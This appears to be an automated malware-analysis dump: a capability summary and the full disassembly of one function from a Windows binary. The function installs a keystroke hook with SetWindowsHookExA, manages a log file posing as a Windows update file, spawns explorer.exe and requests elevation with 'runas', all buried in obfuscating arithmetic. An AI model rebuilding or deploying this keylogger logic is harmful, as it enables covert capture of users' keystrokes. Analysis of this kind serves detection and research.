Function at 0x4103a0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042d840
mov eax, dword [0x45b4b0]
mov dword [esp + 0x1068], eax
push ebx
mov eax, 0x491979d9
imul dword [0x459b44]
push esi
mov esi, dword [0x459b58]
push edi
mov edi, dword [0x459b3c]
sar edx, 0x11
mov eax, edi
imul eax, eax, 0x426f4
mov ebx, esi
imul ebx, ebx, 0x3b76e
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add eax, ecx
add eax, ebx
shl eax, 1
mov dword [esp + 0x10], ebx
mov ebx, eax
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ebx
je 0x4104d6
mov edx, dword [0x459b40]
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b4c]
mov esi, eax
mov eax, 0xa89b51e5
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b48]
imul edx, edx, 0xbb797
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sub eax, esi
mov esi, dword [0x459b54]
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x20dab
add eax, edx
sub eax, esi
add eax, ecx
mov ecx, dword [esp + 0x10]
lea edx, [eax + ecx - 0xd61e3]
mov dword [0x459b40], edx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x4104b7
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x459b4c]
mov eax, dword [0x459b50]
imul edx, edx, 0xd61e3
imul eax, eax, 0x3eb04
add eax, edx
mov edx, dword [0x459b40]
imul edx, edx, 0x1db98
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
mov eax, dword [esp + 0xc]
sar edx, 0x12
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0xf957fd3
imul edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub ebx, eax
mov eax, dword [section.dfsaewr3]
add ebx, ecx
add ebx, edx
test eax, eax
mov dword [0x459b4c], ebx
je 0x4105cc
mov esi, dword [0x459b40]
mov eax, 0x20ab631d
imul esi
sar edx, 0xf
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd61e3
add edi, edx
mov eax, 0x4c84c1e9
imul esi
mov eax, dword [0x459b50]
imul eax, eax, 0x1db98
sar edx, 0x12
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
sub esi, eax
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [esp + 0x10]
add esi, ecx
add esi, eax
mov dword [0x459b38], esi
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x415373e5
imul ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x84de8
sub edx, eax
mov eax, dword [0x459b48]
imul eax, eax, 0x20dab
add eax, ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x70110
add eax, edx
mov edx, dword [0x459b50]
add ecx, eax
add ecx, dword [esp + 0x10]
lea eax, [ecx + edx - 0xd61e3]
mov dword [0x459b44], eax
lea ebx, [ebx]
mov eax, 0x491979d9
imul ebx, ebx, 0xd61e3
imul dword [0x459b44]
mov eax, dword [0x459b48]
imul eax, eax, 0x3eb04
sub eax, ebx
sar edx, 0x11
mov dword [esp + 0x10], eax
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xf6ddfe9
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [esp + 0x10]
sub eax, edx
mov edx, dword [0x459b44]
imul edx, edx, 0x3b76e
mov ebx, esi
imul ebx, ebx, 0xc0332
sub eax, edx
mov dword [esp + 0x10], eax
add eax, ecx
add ebx, eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x459b50], ebx
jg 0x4107aa
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4107aa
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4106a4
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x4107aa
mov eax, 0x415373e5
imul ebx, ebx, 0x426f4
imul edi
mov edi, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
mov edx, dword [ebp + 0x14]
lea ecx, [eax + ebx*2 + 0x84bc4]
push edx
sub ecx, edi
push 0
mov dword [0x459b3c], ecx
call fcn.0040d6f0
mov ebx, eax
add esp, 8
test ebx, ebx
mov eax, 0x491979d9
jle 0x41121b
imul dword [0x459b44]
mov eax, dword [0x459b38]
mov edi, dword [0x459b48]
imul eax, eax, 0x3eb37
sar edx, 0x11
mov dword [esp + 0xc], eax
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov edx, dword [0x459b54]
mov esi, dword [0x459b58]
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, esi
imul eax, eax, 0x3b76e
add edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x491979d9
imul edi
mov edi, dword [0x459b3c]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x70110
add edx, ecx
add eax, edx
mov dword [0x459b54], eax
jmp 0x410805
mov eax, 0x415373e5
imul esi, esi, 0x3b76e
imul dword [0x459b38]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x20ab631d
imul dword [str._r_____r____]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x459b54]
imul eax, eax, 0xd61e3
sub ebx, eax
mov eax, dword [0x459b40]
imul eax, eax, 0x14cd8
add eax, ecx
add eax, ebx
mov ebx, dword [ebp + 0x10]
add esi, eax
mov dword [0x459b58], esi
imul esi, esi, 0x3b76e
mov edx, edi
imul edx, edx, 0x426f4
add esi, ecx
add edx, esi
shl edx, 1
mov ecx, edx
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x459b40]
mov eax, 0x20ab631d
imul ecx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd61e3
add esi, edx
mov eax, 0x4c84c1e9
imul ecx
mov eax, dword [0x459b50]
mov ecx, dword [0x459b58]
imul eax, eax, 0x1db98
sar edx, 0x12
imul ecx, ecx, 0x3b76e
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x459b54]
mov eax, 0xf957fd3
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul ecx
mov eax, dword [ebp + 0xc]
sar edx, 0x11
mov ecx, edx
add edi, edx
mov edx, dword [0x56d64c]
push ebx
push edx
shr ecx, 0x1f
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
add ecx, edi
push eax
mov dword [0x459b38], ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr3], eax
je 0x41128d
mov ecx, dword [0x459b40]
mov eax, 0xf6ddfe9
imul ecx
sar edx, 0xf
mov edi, dword [0x459b48]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa89b51e5
imul dword [0x459b4c]
mov esi, dword [0x459b58]
mov ebx, dword [0x459b38]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, edi
imul ecx, ecx, 0xbb797
add eax, ecx
mov edx, esi
imul edx, edx, 0x3b76e
mov ecx, ebx
imul ecx, ecx, 0x20dab
add eax, edx
add eax, ecx
mov dword [esp + 0xc], eax
mov eax, 0x491979d9
imul dword [0x459b44]
mov eax, dword [esp + 0xc]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add eax, edx
mov edx, dword [0x459b54]
add ecx, eax
sub ecx, edx
sub ecx, 0xd61e3
mov dword [0x56d650], 1
mov dword [esp + 0x10], 0
jmp 0x4109c0
mov esi, dword [0x459b58]
mov ecx, dword [0x459b40]
mov edi, dword [0x459b48]
mov ebx, dword [0x459b38]
mov edi, edi
mov eax, 0xf6ddfe9
imul edi, edi, 0xbb797
imul esi, esi, 0x3b76e
imul ecx
imul ebx, ebx, 0x20dab
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xa89b51e5
imul dword [0x459b4c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
add eax, edi
mov edi, dword [0x459b54]
add eax, esi
add eax, ebx
mov dword [esp + 0xc], eax
mov eax, 0x491979d9
imul dword [0x459b44]
mov eax, dword [esp + 0xc]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
sub ecx, edi
sub ecx, 0xd61e3
push str.c:windowsKB978978.log
mov dword [0x459b40], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x410a61
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x4109a6
mov esi, dword [0x459b58]
mov ecx, dword [0x459b50]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x3da796f7
imul esi
sar edx, 0x11
mov ebx, ecx
imul ebx, ebx, 0x3eb37
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x89c36131
imul esi
add edx, esi
sar edx, 0x11
add ebx, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x9aa75
shr eax, 0x1f
add eax, ebx
sub eax, edx
mov dword [0x459b48], eax
cmp dword [esp + 0x10], 0x12c
jl 0x4112f2
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4112f2
mov eax, dword [0x459b4c]
imul ecx, ecx, 0x3eb04
imul esi, esi, 0x3b76e
mov edx, dword [0x459b40]
imul eax, eax, 0xd61e3
imul edx, edx, 0x1db98
add ecx, eax
add ecx, edx
mov edx, dword [0x459b54]
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
mov ebx, edx
add ecx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x459b3c]
mov eax, 0xf957fd3
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add ebx, esi
add eax, edx
sub ebx, eax
push 0x800
lea ecx, [esp + 0x74]
add ebx, edi
push ecx
mov dword [0x459b4c], ebx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [0x459b48]
mov edx, dword [0x459b4c]
imul esi, esi, 0x3eb04
mov ecx, dword [0x459b3c]
imul edx, edx, 0xd61e3
sub esi, edx
mov eax, 0xf6ddfe9
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x459b58]
mov edx, ecx
imul eax, eax, 0xc0332
imul edx, edx, 0x3b76e
sub esi, edx
add esi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
lea edx, [esp + 0x70]
push edx
shr ecx, 0x1f
lea eax, [esp + 0x874]
add ecx, esi
push str._sexplorer.exe
push eax
mov dword [0x459b50], ecx
call fcn.0042d1d1
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.0042d56d
add esp, 0x14
cmp eax, 0xffffffff
je 0x411196
mov ecx, dword [0x459b48]
mov esi, dword [0x459b38]
mov eax, 0x89cc5bfb
imul esi, esi, 0x3eb37
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub esi, eax
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
sub esi, eax
add esi, edx
mov eax, 0x491979d9
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
shr ecx, 0x1f
add ecx, esi
add ecx, edx
push str.explorer.exe
mov dword [0x459b54], ecx
call fcn.00405e30
mov ecx, dword [0x459b38]
mov eax, 0x415373e5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x20ab631d
imul ecx
mov eax, dword [0x459b40]
mov esi, dword [0x459b44]
imul eax, eax, 0x14cd8
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b54]
imul edx, edx, 0xd61e3
sub edi, ecx
mov ecx, dword [0x459b58]
sub edi, edx
imul ecx, ecx, 0x3b76e
add edi, eax
mov eax, 0x491979d9
imul esi
add edi, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add esp, 4
add ecx, edi
mov dword [0x459b58], ecx
mov dword [esp + 0xc], 5
jmp 0x410d20
mov esi, dword [0x459b44]
mov ecx, dword [0x459b58]
lea esp, [esp]
mov edi, dword [0x459b3c]
imul ecx, ecx, 0x3b76e
mov edx, edi
imul edx, edx, 0x426f4
add ecx, edx
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
shl eax, 1
mov ecx, eax
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push str.explorer.exe
mov dword [str._r_____r____], ecx
call fcn.004058a0
mov ecx, dword [0x459b58]
add esp, 4
test eax, eax
jg 0x4110fc
mov edx, dword [0x459b44]
imul ecx, ecx, 0x3b76e
mov esi, dword [0x459b40]
mov eax, 0x491979d9
imul edx
sar edx, 0x11
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x20ab631d
imul esi
sar edx, 0xf
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd61e3
add edi, edx
mov eax, 0x4c84c1e9
imul esi
mov eax, dword [0x459b50]
imul eax, eax, 0x1db98
sar edx, 0x12
add edi, edx
mov esi, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b3c]
sub esi, eax
mov dword [esp + 0x10], ecx
xor eax, eax
add esi, ebx
add esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x459b50]
imul ecx, ecx, 0x426f4
mov eax, 0x415373e5
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, ebx
lea ecx, [eax + ecx*2 + 0x84bc4]
sub ecx, dword [str._r_____r____]
mov eax, 0xf6ddfe9
imul dword [0x459b40]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x459b3c], ecx
mov ecx, dword [0x459b4c]
mov edi, eax
mov eax, 0xa89b51e5
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b48]
imul edx, edx, 0xbb797
mov dword [0x459b38], esi
imul esi, esi, 0x20dab
sub ecx, edi
add ecx, edx
mov edx, dword [0x459b54]
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
add ecx, esi
mov eax, dword [esp + 0x10]
sub ecx, edx
add ecx, ebx
lea ecx, [ecx + eax - 0xd61e3]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x459b40], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x410f83
mov esi, dword [0x459b4c]
mov ecx, dword [0x459b58]
mov edi, dword [0x459b48]
mov eax, 0x415373e5
imul esi
imul esi, esi, 0x84de8
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, ecx
imul edx, edx, 0x3b76e
mov eax, edi
imul eax, eax, 0x20dab
add esi, edx
mov edx, dword [0x459b44]
add esi, eax
mov eax, 0x491979d9
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [0x459b50]
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
add eax, esi
lea esi, [edx + eax - 0xd61e3]
mov dword [0x459b44], esi
jmp 0x411108
mov ecx, dword [0x459b44]
mov esi, dword [0x459b50]
mov eax, 0x491979d9
imul esi, esi, 0x3eb37
imul ecx
mov ecx, dword [0x459b58]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x3da796f7
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x89c36131
imul ecx
add edx, ecx
imul ecx, ecx, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
push 1
add eax, esi
sub eax, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x459b48], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x459b44]
jg 0x411093
mov edx, dword [0x459b4c]
mov ecx, dword [0x459b50]
imul edx, edx, 0xd61e3
mov eax, dword [0x459b40]
imul ecx, ecx, 0x3eb04
imul eax, eax, 0x1db98
add ecx, edx
add ecx, eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
sar edx, 0x12
mov edi, edx
add ecx, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b58]
mov edx, ecx
imul edx, edx, 0x3b76e
add edi, edx
mov edx, dword [0x459b3c]
mov eax, 0xf957fd3
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x459b4c], eax
jmp 0x411102
mov edi, dword [0x459b48]
mov ecx, dword [0x459b4c]
imul ecx, ecx, 0xd61e3
mov ebx, edi
imul ebx, ebx, 0x3eb04
sub ebx, ecx
mov ecx, dword [0x459b3c]
mov eax, 0xf6ddfe9
imul ecx
sar edx, 0xf
mov ecx, esi
imul ecx, ecx, 0x3b76e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x459b58]
mov edx, ecx
imul edx, edx, 0xc0332
add ebx, edx
mov eax, 0x491979d9
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x459b50], eax
jmp 0x411108
mov esi, dword [0x459b44]
mov edi, dword [0x459b48]
mov ebx, dword [0x459b38]
imul ecx, ecx, 0x3b76e
mov eax, 0x89cc5bfb
imul ebx, ebx, 0x3eb37
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x491979d9
imul edi
add ebx, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x491979d9
imul esi
mov eax, dword [str._r_____r____]
sub ebx, ecx
imul eax, eax, 0x70110
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add ecx, eax
push 0x3e8
mov dword [0x459b54], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x410d10
mov eax, 0x415373e5
imul dword [0x459b38]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x20ab631d
imul dword [str._r_____r____]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
imul edx, edx, 0xd61e3
sub ecx, eax
mov eax, dword [0x459b40]
sub ecx, edx
imul eax, eax, 0x14cd8
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
mov edi, dword [0x459b3c]
mov ebx, dword [0x459b4c]
add ecx, eax
add ecx, edx
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
mov dword [0x459b58], esi
jmp 0x410620
mov ecx, dword [0x459b44]
imul ecx
mov ecx, dword [0x459b58]
mov esi, dword [0x459b50]
sar edx, 0x11
imul esi, esi, 0x3eb37
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x3da796f7
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x89c36131
imul ecx
add edx, ecx
imul ecx, ecx, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov dword [0x459b48], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x459b44]
mov esi, dword [0x459b50]
mov eax, 0x491979d9
imul esi, esi, 0x426f4
imul ecx
mov ecx, dword [0x459b3c]
sar edx, 0x11
add esi, edx
mov edi, edx
mov eax, 0x415373e5
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 0x10
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
add edi, esi
lea edx, [ecx + edi*2 + 0x84bc4]
sub edx, eax
mov dword [0x459b3c], edx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x459b3c]
imul esi, esi, 0x3b76e
mov edi, dword [0x459b44]
mov eax, ecx
imul eax, eax, 0x426f4
add esi, eax
mov eax, 0x491979d9
imul edi
sar edx, 0x11
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
shl eax, 1
mov esi, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
sub esi, ecx
mov ecx, dword [esp + 0x1074]
add eax, edx
sub esi, eax
mov dword [str._r_____r____], esi
mov eax, 1
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret